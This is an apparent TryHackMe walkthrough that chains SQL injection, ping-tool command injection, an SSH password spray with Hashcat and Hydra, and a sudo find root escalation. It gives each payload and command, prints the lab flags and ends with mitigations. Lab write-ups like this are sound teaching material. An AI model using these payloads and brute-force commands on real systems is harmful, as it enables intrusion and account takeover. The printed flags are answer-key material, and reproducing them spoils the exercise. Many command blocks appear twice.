June 3, 2026
Operation Promotion — TryHackMe Walkthrough
Machine Information
Gh0ulH4x
3 min read
Machine Information
Category Value Platform TryHackMe Difficulty Easy OS Linux Attack Vector SQL Injection → Command Injection → Credential Attack → Privilege Escalation
Summary
This machine demonstrates a realistic attack chain involving multiple vulnerabilities. The compromise path was:
- Discover hidden administrative portal
- Exploit SQL Injection in the login form
- Enumerate internal functionality
- Discover command injection in a maintenance tool
- Gain remote code execution
- Obtain database credentials
- Identify valid system users
- Password spray/brute-force SSH
- Gain shell access as a local user
- Abuse sudo permissions for privilege escalation
- Obtain root access
Enumeration
Nmap Scan
nmap -sCV -Pn recruitcorp.thmnmap -sCV -Pn recruitcorp.thmResults
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http Apache 2.4.58
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 422/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http Apache 2.4.58
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4Initial Observations
- SSH exposed
- Apache web server exposed
- Samba exposed
- Possible web application attack surface
Web Enumeration
Robots.txt
Browsing the website revealed a robots file.
User-agent: *
Disallow: /admin/User-agent: *
Disallow: /admin/Interesting finding:
/admin//admin/The path was intentionally hidden from search engines.
Admin Portal
Navigating to:
http://recruitcorp.thm/admin/http://recruitcorp.thm/admin/revealed an administrative login page.
Technology Stack
Apache 2.4.58
Ubuntu
PHP ApplicationApache 2.4.58
Ubuntu
PHP ApplicationSQL Injection
Testing Authentication
Intercepting the login request with Burp Suite:
POST /admin/POST /admin/Modified credentials:
username=admin'--&password=passwordusername=admin'--&password=passwordWhy It Works
The payload comments out the remainder of the SQL query. Example:
SELECT * FROM users
WHERE username='admin'--'
AND password='password';SELECT * FROM users
WHERE username='admin'--'
AND password='password';Everything after -- becomes ignored.
Successful Login
Server Response:
HTTP/1.1 302 Found
Location: /admin/dashboard.phpHTTP/1.1 302 Found
Location: /admin/dashboard.phpAuthentication bypass succeeded.
Dashboard Enumeration
After login, the dashboard exposed several functions. Interesting feature:
User LookupUser LookupEndpoint:
/admin/users/lookup.php?id=/admin/users/lookup.php?id=User Enumeration
Testing sequential IDs revealed multiple users. One record stood out:
Username : sysmaint
Role : system
Notes : Service account for
/admin/sysmaint-checks/ping.phpUsername : sysmaint
Role : system
Notes : Service account for
/admin/sysmaint-checks/ping.phpThis disclosed another internal endpoint.
Command Injection Discovery
Maintenance Tool
- Endpoint:
/admin/sysmaint-checks/ping.php/admin/sysmaint-checks/ping.phpFunctionality:
Ping arbitrary hostsPing arbitrary hostsInput supplied to a system command without proper sanitization.
Proof of Command Execution
- Payload:
127.0.0.1$(id)127.0.0.1$(id)URL Encoded:
127.0.0.1%24(id)127.0.0.1%24(id)The application executed both:
ping 127.0.0.1
idping 127.0.0.1
idThis confirmed command injection.
Remote Code Execution
Once command execution was confirmed, a reverse shell was launched.
- After catching the connection:
whoamiwhoamiOutput:
www-datawww-dataWe now had code execution as the web server user.
Local Enumeration
Web Root
cd /var/www/htmlcd /var/www/htmlInteresting directories:
admin/
config/admin/
config/Database Configuration
Inside:
/var/www/html/config/var/www/html/configFound:
db.confdb.confContents:
db_host=localhost
db_name=recruitcorp
db_user=jford
db_pass_hash=$2b$10$QzkXmGndA2cQLozO3xAN6eWKrl6ZXyzhYTJNF67exOmTmN5oVSEfq
db_engine=sqlite3db_host=localhost
db_name=recruitcorp
db_user=jford
db_pass_hash=$2b$10$QzkXmGndA2cQLozO3xAN6eWKrl6ZXyzhYTJNF67exOmTmN5oVSEfq
db_engine=sqlite3Hash Analysis
The password hash was identified as:
bcryptbcryptAlthough bcrypt was present, cracking attempts were unsuccessful. Instead of spending excessive time on password recovery, enumeration continued.
User Discovery
- Examining local users:
cat /etc/passwdcat /etc/passwdInteresting accounts:
ubuntu
jfordubuntu
jfordBoth possessed interactive shells.
/bin/bash/bin/bashThis made them strong candidates for SSH access.
Password Attack
A seasonal password pattern was tested.
- Base word:
spring2026spring2026- Rule-based mutations were generated using
Hashcat.
hashcat --stdout base.txt \
-r /usr/share/hashcat/rules/dive.rule \
> wordlist.txthashcat --stdout base.txt \
-r /usr/share/hashcat/rules/dive.rule \
> wordlist.txt- Hydra was then used against SSH.
hydra -l jford \
-P wordlist.txt \
ssh://recruitcorp.thm \
-t 32 -fhydra -l jford \
-P wordlist.txt \
ssh://recruitcorp.thm \
-t 32 -f- Success:
login: jford
password: spring2026!login: jford
password: spring2026!Initial Access
SSH Login
ssh jford@recruitcorp.thmssh jford@recruitcorp.thmAuthenticated successfully.
User Flag
cat user.txt
📸 Follow Me on Instagram @Gh0ulH4xcat user.txt
📸 Follow Me on Instagram @Gh0ulH4xPrivilege Escalation
Sudo Enumeration
sudo -lsudo -l- Output:
(root) NOPASSWD: /usr/bin/find(root) NOPASSWD: /usr/bin/findThis is a well-known privilege escalation vector.
GTFOBins
Reference:
find -exec /bin/sh \; -quitfind -exec /bin/sh \; -quitExecution:
sudo find . -exec /bin/sh \; -quitsudo find . -exec /bin/sh \; -quitShell obtained:
##Verification:
whoamiwhoamiOutput:
rootrootRoot Flag
Navigate to root directory:
cd /rootcd /rootRead the flag:
cat flag.txtcat flag.txtOutput:
💼 Connect on LinkedIn @Gh0ulH4x💼 Connect on LinkedIn @Gh0ulH4xAttack Chain
robots.txt
│
▼
Admin Portal
│
▼
SQL Injection
│
▼
Dashboard Access
│
▼
User Enumeration
│
▼
Ping Endpoint Discovery
│
▼
Command Injection
│
▼
Reverse Shell (www-data)
│
▼
Config File Disclosure
│
▼
User Enumeration
│
▼
SSH Password Attack
│
▼
jford Access
│
▼
sudo find
│
▼
Rootrobots.txt
│
▼
Admin Portal
│
▼
SQL Injection
│
▼
Dashboard Access
│
▼
User Enumeration
│
▼
Ping Endpoint Discovery
│
▼
Command Injection
│
▼
Reverse Shell (www-data)
│
▼
Config File Disclosure
│
▼
User Enumeration
│
▼
SSH Password Attack
│
▼
jford Access
│
▼
sudo find
│
▼
RootVulnerabilities Identified
SQL Injection
Impact:
- Authentication bypass
- Administrative access Mitigation:
- Prepared statements
- Parameterized queries
Information Disclosure
Impact:
- Internal endpoint discovery
- Increased attack surface visibility Mitigation:
- Remove sensitive notes
- Apply role-based access control
Command Injection
Impact:
- Remote code execution Mitigation:
- Avoid shell execution
- Strict input validation
Weak Credentials
Impact:
- Successful SSH compromise Mitigation:
- Strong password policy
- MFA
- Account lockout controls
Dangerous Sudo Permissions
Impact:
- Full root compromise Mitigation:
- Principle of least privilege
- Restrict dangerous binaries
Flags
User
THM{bdbee0a91ebcb0b0fafde931223efe09}THM{bdbee0a91ebcb0b0fafde931223efe09}Root
THM{d999a1f6319a9c5b48c067dfab314ba2}THM{d999a1f6319a9c5b48c067dfab314ba2}Lessons Learned
This machine highlights how several medium-severity findings can chain together into complete system compromise:
- SQL Injection provided initial access
- Information disclosure revealed hidden functionality
- Command Injection enabled code execution
- Weak credentials enabled lateral movement
- Misconfigured sudo permissions resulted in root access
The attack demonstrates why defense-in-depth is critical, as a single control failure rarely exists in isolation.